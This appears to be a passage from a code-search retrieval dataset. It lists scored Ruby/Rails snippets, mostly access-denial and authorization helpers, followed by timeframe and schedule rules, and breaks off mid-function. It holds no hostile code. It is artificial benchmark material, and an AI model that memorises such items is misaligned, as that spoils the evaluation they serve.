"d24b7e4208eb19460c3b6d95044f964f", "score": "0.67393863", "text": "def filter_self\n if @user && !current_user.can_edit?(@user)\n respond_to do |format|\n format.html {\n render :nothing => true, :status => 403\n }\n format.json {\n render :json => {:status => 'failure'}, :status => 403\n }\n end\n end\n end", "title": "" }, { "docid": "220908ea2be8e5f78342ffdc9543e44a", "score": "0.6648768", "text": "def index\n index_filter\n end", "title": "" }, { "docid": "628b1a0b878968f2fe3547ec52e097a0", "score": "0.660113", "text": "def forbidden\n respond_with 403\n end", "title": "" }, { "docid": "ee120a5ea963cce3663418c96340b062", "score": "0.6578573", "text": "def filter_object\n # redirect_to(root_url, :notice => \"Do not have permission\") and return\n end", "title": "" }, { "docid": "27bef576913ea4fffe6578b1875ce0ec", "score": "0.6574073", "text": "def forbidden\n head :forbidden\n end", "title": "" }, { "docid": "56262583e1deaf9f76f172efcb660258", "score": "0.65181625", "text": "def forbidden\n respond_with 403\n end", "title": "" }, { "docid": "a98cfae43cd4c0bc90f3eb4654389a26", "score": "0.648926", "text": "def deny_access\n respond_to do |format|\n format.json {\n # Some schools of thought advocate the use of 404 (:not_found). See\n # http://www.bennadel.com/blog/2400-handling-forbidden-restful-requests-401-vs-403-vs-404.htm\n render json: {}, status: :unauthorized\n }\n end\n end", "title": "" }, { "docid": "34fd74d88037d9e3ded9aca3b70559d3", "score": "0.6468808", "text": "def status_forbidden\n respond_to do |format|\n format.any { head :forbidden }\n end\n end", "title": "" }, { "docid": "7543e5f8fdbd9880ad1665ab09f54d92", "score": "0.64581805", "text": "def skip_actions; end", "title": "" }, { "docid": "7e18b13968c9acbfbdede84a9cc44f59", "score": "0.6440769", "text": "def forbidden!\n render_api_error!('403 Forbidden', 403)\n end", "title": "" }, { "docid": "802a24c9dd6c26849e864d7c77e47eab", "score": "0.6365873", "text": "def permission_denied\n respond_to do |format|\n format.html { render :template => \"shared/forbidden\", :status => :forbidden }\n format.any { head :forbidden }\n end\n end", "title": "" }, { "docid": "d40f2ca8834595418d321425377ad658", "score": "0.635384", "text": "def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end", "title": "" }, { "docid": "6c072daf389130cfbaf6b93b2322969e", "score": "0.63375247", "text": "def deny_access\n respond_to do |format|\n format.html {\n flash[:alert] = 'You are not authorized to perform this action'\n\n redirect_to root_path\n }\n\n format.json {\n # Some schools of thought advocate the use of 404 (:not_found). See\n # http://www.bennadel.com/blog/2400-handling-forbidden-restful-requests-401-vs-403-vs-404.htm\n render json: {}, status: :unauthorized\n }\n end\n end", "title": "" }, { "docid": "b8bd0b9f38b373a3cc907c0f5477e06b", "score": "0.63233566", "text": "def skip_tab_filter?\n !['index', 'new', 'create'].include?(params[:action])\n end", "title": "" }, { "docid": "b8bd0b9f38b373a3cc907c0f5477e06b", "score": "0.63233566", "text": "def skip_tab_filter?\n !['index', 'new', 'create'].include?(params[:action])\n end", "title": "" }, { "docid": "b8bd0b9f38b373a3cc907c0f5477e06b", "score": "0.63233566", "text": "def skip_tab_filter?\n !['index', 'new', 'create'].include?(params[:action])\n end", "title": "" }, { "docid": "e8d5d742d43d191e02ba76752655cbb3", "score": "0.62680256", "text": "def restrict_access\n head :unauthorized and return false unless current_user\n end", "title": "" }, { "docid": "93880e9b00e074f195a89699e5747c71", "score": "0.6264801", "text": "def access_denied\n end", "title": "" }, { "docid": "31a747685fb5165d94e43687168f82ee", "score": "0.6255861", "text": "def access_denied\n\n end", "title": "" }, { "docid": "3ac21ed070afea85870c6a06157f1176", "score": "0.6236924", "text": "def filter_redirect; end", "title": "" }, { "docid": "3ac21ed070afea85870c6a06157f1176", "score": "0.6236924", "text": "def filter_redirect; end", "title": "" }, { "docid": "34e0087928e2eabb8b98cb1d8d153b53", "score": "0.6236128", "text": "def destroy_filter\n not actuale?\n end", "title": "" }, { "docid": "6e867b80a563fe7c94e95029f86c3038", "score": "0.6208104", "text": "def show\n skip_authorization\n end", "title": "" }, { "docid": "68ae1f0eb1d2b23503294b94fb3f4afb", "score": "0.61759037", "text": "def not_allowed( txn, *args )\n\t\ttxn.err_headers_out['Allow'] = self.build_allow_header( args )\n\t\tfinish_with( Apache::METHOD_NOT_ALLOWED, \"%s is not allowed\" % [txn.request_method] )\n\tend", "title": "" }, { "docid": "6fe1038216c66b00d59f6cec3b010f90", "score": "0.6169316", "text": "def show\n render status: :forbidden, text: \"Forbidden!\" unless @transaction.user == current_user\n end", "title": "" }, { "docid": "76efc0b826a9e537ae0427dac5a6b166", "score": "0.6163131", "text": "def test_auth_except\n make_controller :auth_except\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_protected\n end", "title": "" }, { "docid": "e847a34377efaa90873f35ef6e711d7f", "score": "0.61514777", "text": "def croucher_index_confidentiality\n \"private\"\n end", "title": "" }, { "docid": "ed55baaa0d0d68987a6b6e3bbc47073b", "score": "0.61472833", "text": "def restrict_access\n render :\"/home/http_404\" unless @pet && @pet.user == current_user\n end", "title": "" }, { "docid": "6b685d71f405b6afa97364388c2db346", "score": "0.61429244", "text": "def not_allowed! redirect = root_url\n raise Exceptional::Unauthorized.new(\"Sorry, I was could not perform the action you requested!\")\n end", "title": "" }, { "docid": "9f0b487a99d9d751fc537299de34d40b", "score": "0.6141726", "text": "def access_denied\n if logged_in?\n flash[:notice] = I18n.t('application.not_authorized')\n respond_to do |f|\n f.html do\n unless request.xhr?\n redirect_to current_user.has_any_role? ? admin_nodes_path : root_path\n else\n render text: flash[:notice], status: :forbidden # Render HTML\n end\n end\n f.js do\n render :update do |page|\n page.redirect_to '/admin' # Redirect through JS\n end\n end\n f.json do\n render json: { error: flash[:notice] }.to_json, status: :forbidden\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "6823fce2c03962b174b676a6fcc2f368", "score": "0.612466", "text": "def without_access_control\n previous_state = Authorization.ignore_access_control\n Authorization.ignore_access_control(true)\n result = yield\n ensure\n Authorization.ignore_access_control(previous_state)\n result\n end", "title": "" }, { "docid": "a9ad91a8fcd494737b9eefbb475cbd7e", "score": "0.6109826", "text": "def appctrl_not_permitted\n render( { :text => 'Action not permitted', :status => 403 } )\n end", "title": "" }, { "docid": "5334287acc817068d6a6aa85073a83a0", "score": "0.6104024", "text": "def deny_all_access\n @permissions = 0\n end", "title": "" }, { "docid": "27bdf2d106517b25fed70d3a95351499", "score": "0.61027825", "text": "def skip_authorization\n @_authorization_performed = true\n end", "title": "" }, { "docid": "07417c7f666af7b69919455fa223d283", "score": "0.60946983", "text": "def controller_actions_should_fail_if_not_logged_in(cont, opts={})\n except= opts[:except] || []\n actions_to_test= get_all_actions(cont).reject{ |a| except.include?(a) }\n actions_to_test += opts[:include] if opts[:include]\n actions_to_test.each do |a|\n get a\n response.should_not be_success\n response.should redirect_to('http://test.host/')\n end\n end", "title": "" }, { "docid": "0a9b9b0f12e14df532f7b3b54ae8b6fd", "score": "0.60826564", "text": "def params_not_permitted\n logger.warn('exception: params not permitted')\n render plain: \"403 ForbiddEn\", status: 403\n end", "title": "" }, { "docid": "3325a99cc96054c5a53546206a071317", "score": "0.60768086", "text": "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end", "title": "" }, { "docid": "05b41dc6f0ea5de638effd37c8422c1d", "score": "0.6071983", "text": "def access_denied\n render \"common/access_denied\"\n end", "title": "" }, { "docid": "ee5294a38f3d485f227607634c5e82e5", "score": "0.6066578", "text": "def unauthorized_request user:current_user,filter:nil\n\t\t\tputs \"\\n\\nNo filter matches the given http method, controller, or controller method, rerouting...\" if filter.blank?\n\t\t\tputs \"\\n\\nUser #{user.email} is not authorized to #{filter.http_method.upcase}::>#{filter.controller || 'all'}.#{filter.action_name || 'all'}, rerouting...\\n\\n\" unless filter.blank?\n\t\t\trender json: \"Unauthorized Request\"\n\t\tend", "title": "" }, { "docid": "347e0171b1aa3c041481d23418c6c915", "score": "0.6065034", "text": "def deny_access_action( txn, *args )\n\t\t\tself.log.error \"Unauthorized request for %s\" % [ txn.uri ]\n\t\t\ttxn.status = Apache::FORBIDDEN\n\t\t\treturn \"access denied\"\n\t\tend", "title": "" }, { "docid": "d66f163afff1bb354afd1391f901c011", "score": "0.6060943", "text": "def index\n @students = Student.all\n unless current_student.try(:isAdmin?)\n render(:file => File.join(Rails.root, 'public/403'), :formats => [:html], :status => 403, :layout => false)\n end\n end", "title": "" }, { "docid": "07c42df0f8d7657aaea47af0fd5e0917", "score": "0.6059346", "text": "def redirect_403\n return hit_error(403) unless current_user\n end", "title": "" }, { "docid": "7e0f79d940049617ee0e754996466a84", "score": "0.6044002", "text": "def prevent_edit\n !can_edit?\n end", "title": "" }, { "docid": "85584051416f972adb18008f57e8c08c", "score": "0.60437566", "text": "def filters_halted\n end", "title": "" }, { "docid": "965f74a8a8d9ce3dcfc0bfd4d5ae67b0", "score": "0.60320616", "text": "def cannot_edit_All\n if @page.name == Rails.application.config.ALL_PAGE\n redirect_to show_all_path\n end\n end", "title": "" }, { "docid": "2fa2fd1d60cdca7d4b5c57ede764b708", "score": "0.6027152", "text": "def permit_unprotected_actions\n # Allow clients to download packages\n can [:download, :icon], Package\n # Allow client computer requests\n can :checkin, Computer\n can [:show_plist, :show_resource], Computer\n # Allow any request to retrieve catalogs\n can :read, Catalog\n # Allow everyone to edit their user record\n can [:read, :update], User, :id => @user.id\n # Allow anyone to login and logout\n can [:create, :destroy], :session\n # Allow anyone to view their dashboard\n can :manage, :dashboard\n end", "title": "" }, { "docid": "5b1e04451d94b4cddf81b37eda19e7f1", "score": "0.602194", "text": "def denied\n end", "title": "" }, { "docid": "92fca040941657916f5eb07b69fb3765", "score": "0.60211384", "text": "def access_forbidden\n if !@authenticated.nil?\n send_response_document :forbidden\n else\n flash.keep\n authentication_needed!\n end\n end", "title": "" }, { "docid": "f2a2c9dd223b2d26c791d352e6d890f5", "score": "0.6007616", "text": "def rescue_unauthorized\n render nothing: true, status: 403\n end", "title": "" }, { "docid": "f2a2c9dd223b2d26c791d352e6d890f5", "score": "0.6007616", "text": "def rescue_unauthorized\n render nothing: true, status: 403\n end", "title": "" }, { "docid": "697779d59efd77f65352b3bc9a03e74d", "score": "0.600267", "text": "def redirect_if_forbidden\n redirect_to :controller => \"static\", :action => \"forbidden\" unless is_allowed?\n end", "title": "" }, { "docid": "517ea033009d387f5d2c5255ead7d0a2", "score": "0.60000986", "text": "def access_control\n \n end", "title": "" }, { "docid": "074d6103ae264799dd842d771fb68e48", "score": "0.59806633", "text": "def render_403\n respond_to do |format|\n format.html { render :template => 'errors/error_403', status: 403 }\n format.any { head :forbidden }\n end\n end", "title": "" }, { "docid": "3c42311f8721bc4daa5d7a9d02ee8c92", "score": "0.59784645", "text": "def access_denied\n respond_to do |format|\n format.html {\n flash[:error] = \"Sie sind nicht angemeldet oder nicht berechtigt, auf die angeforderte Seite zuzugreifen.\"\n render text: \"\", layout: true, status: :unauthorized\n }\n \n format.any {\n head status: :unauthorized\n }\n end\n end", "title": "" }, { "docid": "bf35d827b189ed6cf84889724ad846d5", "score": "0.59675354", "text": "def authorize_unauthenticated_user\n target_action = params[:controller] + '#' + params[:action]\n unless User::DEFAULT_PERMISSIONS.include?(target_action)\n head :unauthorized and return\n end\n end", "title": "" }, { "docid": "7d8085ec108b7f87057258cd57773ae2", "score": "0.595736", "text": "def require_no_user(options = {})\n self.before_filter options do |controller|\n controller.send(:require_no_user)\n end\n end", "title": "" }, { "docid": "6c90309914857142af915ad21b2e80e1", "score": "0.5956328", "text": "def filter_user_is_admin\n # We aren't going to redirect on this one. Since it's an admin interface it's pretty sensitive so \n # we're going to give a \"not found\" response (security through obscurity anyone?)\n unless( user_is_admin)\n respond_to do |wants|\n wants.atom { head 404}\n wants.atomsvc { head 404}\n wants.html do\n render :file => \"#{RAILS_ROOT}/public/404.html\", :status => 404\n end\n end\n end\n end", "title": "" }, { "docid": "58aa75121c0343595b073daacba75e56", "score": "0.5949674", "text": "def deny_access\n @status = 401\n respond_to do |format|\n format.html { render template: \"errors/401\", status: @status, layout: \"errors\" }\n format.all { render nothing: true, status: @status }\n end\n end", "title": "" }, { "docid": "e80fdf6e691bc5e7b12097d44aab66db", "score": "0.59445906", "text": "def not_authorized\n flash[:error] = I18n.t :forbidden\n response.headers['Status-Code'] = '403'\n redirect_to root_path\n end", "title": "" }, { "docid": "2fdc2d8964e4036f3e3f9849bca6ba50", "score": "0.59426844", "text": "def whitelist\n if cannot_access_api?\n render json: [], status: :unauthorized\n end\n end", "title": "" }, { "docid": "11830e3a1971215a23c4bf082b7b2675", "score": "0.5942331", "text": "def redirect_to_forbidden\n redirect_to :controller => \"static\", :action => \"forbidden\"\n end", "title": "" }, { "docid": "822bd4ec7b4dd2b23d5528ba800103b4", "score": "0.59395343", "text": "def index\n \n respond_to do |format|\n format.html #\n format.xml {disable_action}\n end\n end", "title": "" }, { "docid": "bc01abe05b59e923612fba5bed5ccbe3", "score": "0.5933323", "text": "def block_access_for_non_admins\n if current_user.role != \"admin\"\n flash[:error] = \"You have no access rights for this section.\"\n redirect_to :controller => \"streams\", :action => \"index\"\n end\n end", "title": "" }, { "docid": "887ad156595e63f7c9655578fb9b426f", "score": "0.5933026", "text": "def authorize_only_for_admin\n unless authorized?(Admin)\n render :file => \"#{RAILS_ROOT}/public/404.html\", \n :status => 404\n end\n end", "title": "" }, { "docid": "9781a817a34f44da2960aa668481920b", "score": "0.59194386", "text": "def restrictToAdmin! ; redirect to('/login'),303 unless admin? ; end", "title": "" }, { "docid": "99241ad99a8d6a8ac2e556475f4b6b69", "score": "0.5895916", "text": "def index\n head :unauthorized\n end", "title": "" }, { "docid": "492e3487d6dc56a01d94753278e60de9", "score": "0.5894487", "text": "def ignore\r\n access_denied_state_error :ignore unless @review_set.may_ignore?\r\n @review_set.ignore!\r\n controller_render(@review_set)\r\n end", "title": "" }, { "docid": "1eb434a79a43768ea77e5e1a0e515e20", "score": "0.58863497", "text": "def index\n authorize Document\n end", "title": "" }, { "docid": "4d0480452d9ea563faf2bd9a358ce874", "score": "0.5877282", "text": "def render_forbidden\n render :file => File.join(Rails.root.to_s, 'public/403.html'), :status => :forbidden, :layout => false\n end", "title": "" }, { "docid": "b4f3edc2239221a826642eecaf1b7a97", "score": "0.5854275", "text": "def permission_denied\n render :template => \"shared/permission_denied\",\n :status => :forbidden\n end", "title": "" }, { "docid": "8beb83e4c88a0b92aa4297fe31f57eac", "score": "0.5853316", "text": "def exclude; end", "title": "" }, { "docid": "8be84ffbe32664ef6661286109bc03b4", "score": "0.5852062", "text": "def admin_user\n render_forbidden unless current_user.admin?\n end", "title": "" }, { "docid": "6953375fb44b6dcfce3184de8921bd81", "score": "0.58457565", "text": "def excluded; end", "title": "" }, { "docid": "7df205753cdf130bb6459a434fbb49f8", "score": "0.58450633", "text": "def private_filter\n post = Post.find(params[:id])\n if post.nil?\n flash[:error] = \"Post not found\"\n redirect_to home_url\n end\n\n if !post.has_access(current_user)\n flash[:error] = \"Post is private\"\n redirect_to home_url\n end\n end", "title": "" }, { "docid": "b2d44cba9a04e1c427085efbd969f0ec", "score": "0.5834173", "text": "def filter\n super\n end", "title": "" }, { "docid": "2618e3618f93d010ed9e307da0f7b56e", "score": "0.58337885", "text": "def strict_filters; end", "title": "" }, { "docid": "60746a8c2b1c916e083a6a6f2af9d500", "score": "0.5833263", "text": "def permission_denied\n respond_to do |format|\n flash[:error] = 'Sorry, you are not allowed to view the requested page.'\n format.html { redirect_to(:back) rescue redirect_to('/') }\n format.xml { head :unauthorized }\n format.js { head :unauthorized }\n end\n end", "title": "" }, { "docid": "292fad8d26a7ba67097c88017958323b", "score": "0.582444", "text": "def skip_load_and_authorize_resource(*args)\n skip_load_resource(*args)\n skip_authorize_resource(*args)\n end", "title": "" }, { "docid": "5072c1c8460b279c9de756e1148e063b", "score": "0.5823114", "text": "def admin_only\n deny_access(\"Necesitas tener privilegios de administrador para entrar.\") unless signed_in_as_admin?\n end", "title": "" }, { "docid": "19090b77296772b2e572868be5832c03", "score": "0.58118105", "text": "def index #This is the ACTION 'index', accessed via /manage/pages, as opposed to the STUB 'index', accessed via /pages\n restrict('allow only admins') or begin\n @pages = Page.find(:all)\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @pages.to_xml }\n end\n end\n end", "title": "" }, { "docid": "011356b7a219632af683345081b36912", "score": "0.58112484", "text": "def unauthorized\n end", "title": "" }, { "docid": "1b80b4f579770a825e05b9a5a4b35b8f", "score": "0.5809655", "text": "def authorization_filter\n unless controller_name == 'dashboard' || authorized?\n respond_to do |wants|\n wants.html { redirect_to '/' }\n wants.js { render :nothing => true}\n end\n return false\n end\n end", "title": "" }, { "docid": "1b80b4f579770a825e05b9a5a4b35b8f", "score": "0.5809655", "text": "def authorization_filter\n unless controller_name == 'dashboard' || authorized?\n respond_to do |wants|\n wants.html { redirect_to '/' }\n wants.js { render :nothing => true}\n end\n return false\n end\n end", "title": "" }, { "docid": "d1dbcda560f6a3296051c878c1c606fc", "score": "0.58017373", "text": "def except *filter_list\n filter.except filter_list\n self\n end", "title": "" }, { "docid": "c3b9ef76ccc37edb922730f932d750c1", "score": "0.57977426", "text": "def deny_access\n if request.xhr?\n if !flash[:ajax_error].blank?\n render text: flash[:ajax_error] \n else\n render text: \"You do not have sufficient permissions to perform this action.\"\n end\n else\n flash[:error] = \"You do not have sufficient permissions to perform this action.\"\n redirect_to :back\n end\n rescue\n redirect_to root_path\n end", "title": "" }, { "docid": "ffdd4d113f9b4f64ee32243b64887566", "score": "0.57919985", "text": "def permission_denied\n flash[:error] = 'Sorry, you are not allowed to the requested page.'\n respond_to do |format|\n format.html { logged_in? ? redirect_back_or_default(root_path) : redirect_to(login_path) } \n format.xml { head :unauthorized }\n format.js { head :unauthorized }\n end\n end", "title": "" }, { "docid": "c061e93a03f997413da31ab6dfd21bfb", "score": "0.5791968", "text": "def index\n authorize Order\n super\n end", "title": "" }, { "docid": "db326268671f60603a9eff4c353404bd", "score": "0.5787687", "text": "def index_disabled\n @index_disabled ||= false\n end", "title": "" }, { "docid": "acda516bfea29e879f855d44b7245ea1", "score": "0.5785675", "text": "def index\n @reclusions = Reclusion.all\n end", "title": "" }, { "docid": "24bbef90ed990c3c3367651391425a28", "score": "0.578478", "text": "def index\n @what_should_avoids = WhatShouldAvoid.all\n end", "title": "" }, { "docid": "af9bebb43e641bf2fb1b47f2014485e9", "score": "0.5776492", "text": "def index?\n not admin.nobody?\n end", "title": "" }, { "docid": "106e84af669daa815cb139b88a8ba3f1", "score": "0.5773726", "text": "def prevent_admin_role\n raise ActionController::RoutingError.new('Forbidden') if !current_user.is_admin? && params[:user][:role] == 'admin'\n end", "title": "" }, { "docid": "78569bd3bdb089df1381510620b68ec4", "score": "0.5767993", "text": "def filter_index\n filter\n end", "title": "" }, { "docid": "2b8437a13e86e0f15aeaf2d162c13832", "score": "0.57662845", "text": "def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end", "title": "" }, { "docid": "ee88ae6cb2c35769b489c98ddb105ba7", "score": "0.57649004", "text": "def access_denied\n render status: 401, text: \"nice try\"\n end", "title": "" } ]
9dc1a0455d557cf58f818c8e0caadcb2
Create a timeframe rule
[ { "docid": "45a9f5917e2c3a990dc88136ac523e9f", "score": "0.54699653", "text": "def create_timeframe_rule_with_http_info(campaign_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TimeframeRulesApi.create_timeframe_rule ...'\n end\n # verify the required parameter 'campaign_id' is set\n if @api_client.config.client_side_validation && campaign_id.nil?\n fail ArgumentError, \"Missing the required parameter 'campaign_id' when calling TimeframeRulesApi.create_timeframe_rule\"\n end\n # resource path\n local_var_path = '/campaigns/{campaign_id}/timeframe_rules'.sub('{' + 'campaign_id' + '}', campaign_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'timeframe_rule'])\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TimeframeRule')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TimeframeRulesApi#create_timeframe_rule\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "45d050f945e3776678ad5af7c83d1910", "score": "0.6129269", "text": "def apply_rule(rule, from_offset, to_offset, year); end", "title": "" }, { "docid": "45d050f945e3776678ad5af7c83d1910", "score": "0.6129269", "text": "def apply_rule(rule, from_offset, to_offset, year); end", "title": "" }, { "docid": "62ec86e06addf467f5451f824ca13125", "score": "0.61061025", "text": "def create_timeframe_rule(campaign_id, opts = {})\n data, _status_code, _headers = create_timeframe_rule_with_http_info(campaign_id, opts)\n data\n end", "title": "" }, { "docid": "b0d029437fa10f76dbaf6b6774e557be", "score": "0.58232903", "text": "def apply_rule(rule, from_offset, to_offset, year)\n at = rule.at(from_offset, year)\n Transition.new(to_offset, from_offset, at)\n end", "title": "" }, { "docid": "75efd75702a9dc29daec6fd8a973f30f", "score": "0.5561723", "text": "def rule_time_restriction_to_icecube_schedule(tr, timezone, opts = {})\n return if tr.nil? || !tr.is_a?(Hash) ||\n timezone.nil? || !timezone.is_a?(ActiveSupport::TimeZone)\n prepared_restrictions = rule_prepare_time_restriction(tr, timezone)\n return if prepared_restrictions.nil?\n IceCube::Schedule.from_hash(prepared_restrictions)\n rescue ArgumentError => ae\n if logger = opts[:logger]\n logger.error \"Couldn't parse rule data #{e.class}: #{e.message}\"\n logger.error prepared_restrictions.inspect\n logger.error e.backtrace.join(\"\\n\")\n end\n nil\n end", "title": "" }, { "docid": "5510332741ced8991d4d067c11a1dea3", "score": "0.55266595", "text": "def adjust_timeframe(timeframe)\n timeframe\n end", "title": "" }, { "docid": "9a74c25c79e7313f318a10ba2fe19c06", "score": "0.5506791", "text": "def set_time_frame time, time_slot = 30.minutes\n Time.at(((time.to_i / time_slot).round * time_slot) + time_slot).to_i\n end", "title": "" }, { "docid": "0076028cc45666ef5724adb30ee53ab5", "score": "0.54705065", "text": "def schedule\n schedule = start_time > Time.current ? UPCOMING_MATCH : PLAYED_MATCH\n\n schedule\n end", "title": "" }, { "docid": "ea149ec4bca795548f127e62ed99bbbc", "score": "0.5419239", "text": "def create_timing\n if @freak_number.present?\n self.timing_expression = @freak_number + \" \" + @freak_interval\n elsif @reactive_expression.present?\n self.timing_expression = @reactive_expression\n end\n self.timing_duration = \"\" if @until_radio == \"nodate\"\n self.timing_duration = @duration_number + \" \" + @duration_unit if @until_radio == \"date\" and self.timing_until.blank? and @duration_number and @duration_unit\n end", "title": "" }, { "docid": "3d5114285fb331253a76be3a8b26c67f", "score": "0.53960854", "text": "def converted_schedule\n if !self.read_attribute(:recurring_schedule).empty?\n the_schedule = IceCube::Schedule.new( self.created_at )\n the_rule = RecurringSelect.dirty_hash_to_rule( self.read_attribute(:recurring_schedule) )\n if RecurringSelect.is_valid_rule?(the_rule)\n the_schedule.add_recurrence_rule(the_rule)\n end\n the_schedule\n end\n end", "title": "" }, { "docid": "f59565f6af1468de8bab5bf7e0a82bcb", "score": "0.53542125", "text": "def initialize(time_window)\n @timeframes = [] \n \n for group in time_window.split(\";\")\n days, times = Array.new(7, false), []\n\n for item in group.split(\" \")\n # Range of values?\n if item.include?(\"-\")\n # Yes, Figure out if range is days or times\n range = item.split(\"-\")\n \n if Days.include?(range[0]) \n set_day_range(days, range[0], range[1])\n else\n times << TimeRange.new(range[0], range[1])\n end\n else\n days[Days.index(item)] = true if Days.include?(item)\n end\n end\n \n @timeframes << TimeFrame.new(days, times)\n end\n end", "title": "" }, { "docid": "bc089faa36c3c116d796b0b39fdec4db", "score": "0.5343757", "text": "def make_constant_schedule(name, temperature)\n s = OpenStudio::Model::ScheduleRuleset.new(@model)\n s.setName(name)\n s.defaultDaySchedule.addValue(OpenStudio::Time.new(\"24:00:00\"), OpenStudio::convert(temperature, \"F\", \"C\").get)\n\ts\n end", "title": "" }, { "docid": "c32ccbdef347261bfa7a4bf48b63dd71", "score": "0.5308374", "text": "def hash_args\n [AbsoluteDayOfYearTransitionRule] + super\n end", "title": "" }, { "docid": "f3626e15b05ea221f5e674d5b8ac6474", "score": "0.5275238", "text": "def create_style_rule(rule); end", "title": "" }, { "docid": "fa38cc655d89d765d89a63d6acf2b0e0", "score": "0.527078", "text": "def converted_schedule\n if !self.read_attribute(:schedule).empty?\n the_schedule = IceCube::Schedule.new( self.created_at )\n the_rule = RecurringSelect.dirty_hash_to_rule( self.read_attribute(:schedule) )\n if RecurringSelect.is_valid_rule?(the_rule)\n the_schedule.add_recurrence_rule(the_rule)\n end\n the_schedule\n end\n end", "title": "" }, { "docid": "bcfb10cbb83e9ef4b0cfc5ef5407fe67", "score": "0.52615994", "text": "def create_timeline(time_period, is_weekday, is_shortest_Path)\n if is_shortest_Path == 'true'\n # This timeline is based on the shortest path to destination station without time consideration hence, the time for the interchange is assumed a large amount so the algorhythm calculates the path with least number of interchanges.\n @timeline =\n [['NS', 1, 10, 1000], ['EW', 1, 10, 1000], ['CG', 1, 10, 1000], ['NE', 1, 10, 1000],\n ['CC', 1, 10, 1000], ['CE', 1, 10, 1000], ['DT', 1, 10, 1000], ['TE', 1, 10, 1000]]\n else\n # This timeline is based on the shortest path with time consideration.\n if time_period == 'peak' && is_weekday\n @timeline =\n [['NS', 1, 12, 15], ['EW', 1, 10, 15], ['CG', 1, 10, 15], ['NE', 1, 12, 15],\n ['CC', 1, 10, 15], ['CE', 1, 10, 15], ['DT', 1, 10, 15], ['TE', 1, 10, 15]]\n\n elsif time_period == 'night'\n @timeline =\n [['NS', 1, 10, 10], ['EW', 1, 10, 10], ['CG', 0, 0, 0], ['NE', 1, 10, 10],\n ['CC', 1, 10, 10], ['CE', 0, 0, 0], ['DT', 0, 0, 0], ['TE', 1, 8, 10]]\n\n else\n @timeline =\n [['NS', 1, 10, 10], ['EW', 1, 10, 10], ['CG', 1, 10, 10], ['NE', 1, 10, 10],\n ['CC', 1, 10, 10], ['CE', 1, 10, 10], ['DT', 1, 8, 10], ['TE', 1, 8, 10]]\n\n end\n end\n end", "title": "" }, { "docid": "e0ab6c13cc991331e9c55b919d0940e5", "score": "0.52351856", "text": "def new_rule(rule)\n Rule.new(rule)\n end", "title": "" }, { "docid": "587c0852a77cf9bcf238985d66fd0394", "score": "0.5201024", "text": "def create_rule(*args, &block)\n @ProjectFileLoader.CurrentlyLoadedProjectFile().create_rule(*args, &block)\n end", "title": "" }, { "docid": "6766edbc2c5a7289303466ae4fe0b082", "score": "0.51655734", "text": "def schedule_recurring_task_creation(task)\n recurring_scheduler = Scheduler.new\n @recurring_schedulers << recurring_scheduler\n\n recurring_scheduler.schedule.every \"#{Helpers.convert_frequency_to_seconds(task.frequency).to_s}s\" do\n new_task = Task.new\n new_task.description = task.description\n new_task.frequency = task.frequency\n new_task.creation_date = Time.now.getlocal\n new_task.target_date = Helpers.calculate_task_target_date(\n new_task.creation_date,\n new_task.frequency\n )\n new_task.recurring_scheduler_id = recurring_scheduler.id\n\n new_task.create_reminder_notification\n new_task.create_failed_notification\n\n add_task(new_task)\n end\n end", "title": "" }, { "docid": "587fbbd9067a8641633118e70cbdf1b9", "score": "0.5117596", "text": "def update_timeframe_rule(id, opts = {})\n data, _status_code, _headers = update_timeframe_rule_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "479f6eda9725c1c2dbad8a78ece95f7d", "score": "0.50834507", "text": "def instantiate_time_object_with_timeliness(name, values)\n unless Date.valid_civil?(*values[0..2])\n value = [values[0], *values[1..2].map {|s| s.to_s.rjust(2,\"0\")} ].join(\"-\")\n value += ' ' + values[3..5].map {|s| s.to_s.rjust(2, \"0\") }.join(\":\") unless values[3..5].empty?\n return value\n end\n\n if self.class.send(:create_time_zone_conversion_attribute?, name, column_for_attribute(name))\n Time.zone.local(*values)\n else\n Time.time_with_datetime_fallback(@@default_timezone, *values)\n end\n end", "title": "" }, { "docid": "4f48c83a5b7946775de73154c5b973dd", "score": "0.5059329", "text": "def initialize\n @tag_name = self.class.to_s.split(\"::\").last.downcase\n @schedule = IceCube::Schedule.new(1.month.ago.beginning_of_day)\n @schedule.add_recurrence_rule IceCube::Rule.daily\n # For example, add these if your schedule doesn't occur on weekends\n #@schedule.add_exception_rule IceCube::Rule.weekly.day(:saturday)\n #@schedule.add_exception_rule IceCube::Rule.weekly.day(:sunday)\n end", "title": "" }, { "docid": "2c87abf83d1e94741eaf306da34831c4", "score": "0.50382376", "text": "def schedule=(new_rule)\n if RecurringSelect.is_valid_rule?(new_rule)\n write_attribute(:schedule, RecurringSelect.dirty_hash_to_rule(new_rule).to_hash)\n else\n write_attribute(:schedule, nil)\n end\n end", "title": "" }, { "docid": "70d67762b4e184b5ea4681fad0435aa7", "score": "0.5022747", "text": "def rule_params\n params.require(:rule).permit(\n :title,\n :reason,\n :start_date,\n :stop_date,\n :allow,\n :start_time,\n :stop_time,\n :day_mask,\n :prio,\n :room_ids => [],\n :days_array => ['0', '1', '2', '3', '4', '5', '6']\n )\n end", "title": "" }, { "docid": "48547364b06c0151c31031983fb92968", "score": "0.5016731", "text": "def to_crontab(action)\n # log \"Sprinkle.to_crontab(#{action})\\n\"\n if action == OPEN\n t = 